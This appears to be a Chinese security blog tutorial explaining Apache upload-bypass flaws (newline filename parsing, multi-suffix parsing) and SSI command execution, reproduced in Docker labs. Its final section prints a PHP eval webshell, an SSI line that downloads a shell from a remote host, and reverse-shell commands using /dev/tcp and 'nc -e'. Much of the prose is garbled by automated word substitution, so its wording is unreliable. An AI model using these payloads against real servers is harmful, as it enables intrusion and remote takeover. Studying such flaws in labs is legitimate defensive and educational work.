Apache中间件漏洞详解

2022-12-19 0 283

开发辅助工具安全漏洞简述-Apache

表述

Apache是世界选用名列第三的WebLogicalDOC。它可以运转在基本上大部份广为选用的计算机系统网络平台上,由于其虚拟化和可信性被广为选用,是最盛行的Web服务端应用软件众所周知。它加速、可信因此可透过单纯的API扩充,将Perl/Python等正则表达式校对到伺服器中。

单纯而言就是两个称心的,因此能全力支持此基础的HTML、PHP、Perl、Python等词汇。两个字:贼强!

Apache的产品目录内部结构

bin——-放置常见的指示辅助工具,比如httpdcgi-bin—放置Linux下常见的指示,比如xxx.shconf——Linux的实用性有关文档,比如httpd.conferror—–严重错误历史记录htdocs—-放中文网站源代码icons—–中文网站辅助工具栏logs——笔记manual—-指南modules—扩充组件

Apache基本原理如是说

上面要讲到的Apahce的安全漏洞要要认知Apache的运转基本原理。

许多好友在构筑PHP自然环境时,时常选用PHPStudy、LAMP、XAMPP等应用软件系统自然环境构筑,很难忽视里头的一些基本原理。为的是更快的认知此栏课中讲到的安全漏洞,要没错呵呵Apache与PHP的小秘密。

透过图而言下完备的WEB允诺业务流程,如下表所示图:
Apache中间件漏洞详解

以内相片源自肉体JunielMargin(矫饰)

图中固定式叙述了Apahce与PHP相互配合顺利完成了一场WEB允诺,Apahce在前,PHP在后,那二者之间怎样进行通讯的呢?先介绍下PHP的构架。如下表所示图

Apache中间件漏洞详解

上图源自鸟哥的该文,深入认知Zend SAPIs透过上图可以看出PHP的整体分为5层(类似Android的构架图),分别解释下:

Zend Engine是PHP的底层实现,包含校对和执行,底层由C词汇实现。Zend API、Zend Extension API是基于Zend底层对外封装提供服务。Extendions选用Extension API实现了扩充库、标准库,比如各种内置函数、MySQL连接库等SAPI是重点,全称是Server Application Programming Interface,也就是服务端应用编程接口。PHP就是透过它来和Apache、Nginx、FastCGI交互Application是最上层,也就是我们写的PHP代码了

OK,上面的PHP的构架明白了,那么现在关于Apache和PHP通讯的过程还是不明白。众所周知,Apache本身是不全力支持PHP解析的,透过构架图可以知道是透过SAPI进行通讯,那Apache怎样和SAPI通讯呢?Apache怎么知道什么类型的文档要解析为PHP?如果你手动构筑过Apache解析PHP的自然环境,就肯定介绍这两个步骤:

# 加载php5_module组件 LoadModule php5_module php5apache2_2.dll的路径 # 添加可以执行php的文档类型,让.php文档类型解析为PHPAddType application/xhttpdphp .php # 或者将AddType变为上面的(在Apache 2.4.0~2.4.29中默认选用了该方式) <FilesMatch \.php$> SetHandler application/xhttpdphp </FilesMatch> 以及 <IfModule dir_module> DirectoryIndex index.html index.htm index.php index.phtml </IfModule>

Apache透过LoadModule来加载php5_module组件(php5apache2_2.dll),这样做的目的是让Apache加载php5_module组件来解析PHP文档。意思其实就是用LoadModule来加载php5_module。也就是把php作为Apache的两个子组件来运转。当透过Web访问php文档时,Apache就会调用php5_module来解析php代码。

调用过程可以概括为

HTTP->Apahce->php5_module->sapi->php

讲到这里各位应该明白了Apache是怎么调用php的了。

Apache换行解析安全漏洞

影响版本:Apache 2.4.0~2.4.29

影响说明:绕过伺服器策略,上传webshell

自然环境说明:PHP5.5 、 Apache2.4.10

自然环境构筑:

此次自然环境选用docker自然环境构筑,自然环境选用地址Vulhub,自然环境文档有3个Dockerfile(apache自然环境)docker-compose.yml(compose文档,在此自然环境中意义不大)index.php(源文档缺少前台源代码,已补全)

执行构建自然环境指示如下表所示(启动后在浏览器中访问http://127.0.0.1:8080

docker-compose build docker-compose up -d

安全漏洞基本原理

为什么叫换行解析安全漏洞?是因为在上传时在文档名后缀后面加了0x0a(换行),需要注意的是3.PHP是我抓完包后手动加上的,因为后台php代码用的是$_POST[name

Apache中间件漏洞详解

为什么加上0x0a就能绕过了呢?先看下index.php的代码

<?php if(isset($_FILES[file])) { $name = basename($_POST[name]); $ext = pathinfo($name,PATHINFO_EXTENSION); if(in_array($ext, [php, php3, php4, php5, phtml, pht])) { exit(bad file); } move_uploaded_file($_FILES[file][tmp_name], ./ . $name); } ?><form action=”index.php” method=”post” enctype=”multipart/form-data”> <input type=”file” name=”file”> <input type=”text” name=”name”> <input type=”submit” value=”submit”> </form>

后台是透过黑名单方式过滤了php后缀的文档,根据最开始的知识,什么样的文档算是php文档呢?在有表述,这句话的意思是以.php结尾的文档都算php文档,在正则中表示匹配输入字符串的结尾位置。如果设置了RegExp对象的Multiline属性,则也匹配 \n 或 \r。

恰好,我们在文档末尾加了0x0a(\n),所以被匹配成功了。

讲到这里有两个概念需要讲清楚:0x0a与0x0d、正则表达式的m修饰符

0x0d、\r、CR这三者代表是回车,是同两个东西,回车的作用只是移动光标至该行的起始位置;0x0a、\n、CL这三者代表换行,是同两个东西,换行至下一行行首起始位置;

由上述可知,0x0a才是到下一行,所以在绕过时0x0d不起作用,你也可以在burp抓包时替换十六进制进行观察。m修饰符规定正则表达式可以执行多行匹配,m修饰符也就是RegExp对象的Multiline属性。上面举个例子:
var str=”This is an\n Apple”; var reg=/an$/; console.log(str.match(reg));

由于未选用多行匹配,以内是匹配不出来的,尽管他第三行以an结尾,如果正则改为/an$/m即可匹配。以内是apache的换行解析安全漏洞的基本原理,但也不能称之为安全漏洞,因为这只是Apache的特性,只是开发或者运维人员没有选用到位。

安全漏洞复现

接下来透过实验的方式复现整个利用过程,首先先确认自然环境中的实用性文档是否是,路径为/etc/apache2/conf-available/docker-php.conf,该路径取决于apache2的产品目录,在构筑自然环境的时候不同apache版本路径可能不同,在Linux下的apache产品目录下执行grep -rn “FilesMatch” * 即可搜索到。(在FilesMatch中的表述是将.php为后缀的文档解析为PHP,如果将其改为.(php|html)$的话,html中的php也会被解析。)

按照正常的安全漏洞利用步骤将其复现

0x01 抓包/改包

准备工作:将浏览器的代理打开、将burpsuit打开开启抓包。

访问安全漏洞页面http://IP:8080/index.php可以看到
Apache中间件漏洞详解

点击submit进行上传,burp可以抓到

Apache中间件漏洞详解

为以下内容:

Apache中间件漏洞详解

改完后将数据包给伺服器,此时在浏览器中访问http://IP:8080/phpinfo.php%0a便可以看到phpinfo的界面,说明利用成功。

在Windows下的表现

将安全漏洞代码复制到windows的自然环境中,进行访问、抓包(和该文中在Linux的方法一样),最终会出现以下问题:
Apache中间件漏洞详解

根据上图可以发现,move_uploaded_file函数已经被执行了,说明我们绕过了黑名单的检测,只不过在windows创建文档的时候由于结尾是换行符,windows不允许,所以创建失败了。

index.php源代码

<?php if(isset($_FILES[file])) { $name = basename($_POST[name]); echo $name; $ext = pathinfo($name,PATHINFO_EXTENSION); if(in_array($ext, [php, php3, php4, php5, phtml, pht])) { exit(bad file); } move_uploaded_file($_FILES[file][tmp_name], ./ . $name); } ?><form action=”index.php” method=”post” enctype=”multipart/form-data”> <input type=”file” name=”file”> <input type=”text” name=”name”> <input type=”submit” value=”submit”> </form>

Apache多后缀解析安全漏洞

影响版本:选用module模式与php结合的大部份版本 apache存在未知扩充名解析安全漏洞,选用fastcig模式与php结合的大部份版本apache不存在此安全漏洞。

影响说明:绕过伺服器策略,上传webshell

自然环境说明:PHP7 、 任意版本的选用module模式与php结合的apache

安全漏洞基本原理:

什么是多后缀解析?我们来看个例子,假设访问index.php.abc,这个就是多后缀解析,Apache在特定的实用性下,会将其解析为php文档。这样可以绕过后台的后缀检测,达到上传webshell的目的。那为什么会产生多后缀解析?哪个实用性引起的?

答案是:
AddHandler application/xhttpdphp .php 或者 <FilesMatch “.+\.ph(ar|p|tml)”> SetHandler application/xhttpdphp </FilesMatch>

上面两个实用性都可以实现解析文档名中包含.php后缀的文档,apache对文档后缀名的识别是从后向前进行匹配的,以单个.作为分隔符。当遇到不认识的后缀时继续往前,直到识别,若都不识别就不做处理。在/etc/mime.types中有表述哪些后缀是apache识别的。关于Apache多后缀的解释,可以看官方文档

apache全力支持php有多种模式,常见的有module、cgi、fastcgi等,此安全漏洞存在于module模式。

安全漏洞复现

复现过程非常单纯,将webshell后缀名改为http://xxx.php.xxx

上传即可,如果程序验证要要相片文档,可以修改为xxx.php.png。效果截图:

Apache中间件漏洞详解

windows下效果相同,不再赘述。

Apache SSI远程指示执行安全漏洞

影响版本:Apache全版本(全力支持SSI与CGI)

影响说明:绕过伺服器策略,上传webshell

自然环境说明:PHP7.1 、 Apache2.4.25

自然环境构筑:

此次自然环境选用docker自然环境构筑,自然环境选用地址Vulhub,自然环境文档有2个docker-compose.ymlupload.php

执行构建自然环境指示如下表所示(启动后在浏览器中访问http://127.0.0.1:8080

docker-compose build docker-compose up -d

安全漏洞基本原理

SSI(server-side includes):是放置在HTML页面中的指令,它可以将动态生成的内容添加到现有的HTML页面,而不必透过CGI程序或其他动态技术来提供整个页面。以内是表述选用在Apache官网对SSI的表述,说白了就是可以在HTML中加入特定的指令,也可以引入其他的页面。开启SSI需要单独实用性Apache,可以参考SSI实用性

SSI可以顺利完成查看时间、文档修改时间、CGI程序执行结果、执行系统指示、连接数据库等操作,功能非常强大。

我们要利用的就是SSI执行系统指示的功能,正常的两个包含SSI指令的文档,可以如下表所示内容:
<pre> <!–#exec cmd=”whoami” –> </pre>

文档名保存为test.shtml,这个后缀取决于Apache的实用性,默认是此后缀。

当后台对扩充名校验不严格时,可以内传此类
Apache中间件漏洞详解

上传webshell:

<!–#exec cmd=”wget http://xxx/shell.txt | rename shell.txt shell.php” –> echo <?php @eval($_POST[margin]);?> > shell.php

反弹shell:

<!–#exec cmd=”/bin/bash -i > /dev/tcp/192.168.0.118/8888 0<&1 2>&1″ –> <!–#exec cmd=”nc x.x.x.x 8888 -e /bin/bash”–>

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务